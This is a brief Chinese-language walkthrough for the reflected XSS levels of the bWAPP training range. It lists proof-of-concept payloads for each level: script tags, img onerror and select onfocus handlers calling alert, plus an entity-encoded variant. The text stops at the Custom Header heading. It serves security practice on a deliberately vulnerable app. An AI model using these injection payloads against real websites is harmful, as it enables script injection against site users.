bwapp靶场XSS通关教程

XSS - Reflected （GET）

low

<script>alert("152");</script>

XSS - Reflected (POST)

<script>alert("152");</script>

XSS - Reflected (JSON)

<select οnfοcus=alert(1) autofocus>

XSS - Reflected (AJAX/JSON)

<img src=1 οnerrοr=alert('123');>

XSS - Reflected (AJAX/XML)

<img src=0 οnerrοr="alert(1)">进行实体引用

&lt;img src=0 οnerrοr=&quot;alert(1)&quot;&gt;

XSS - Reflected (Custom Header)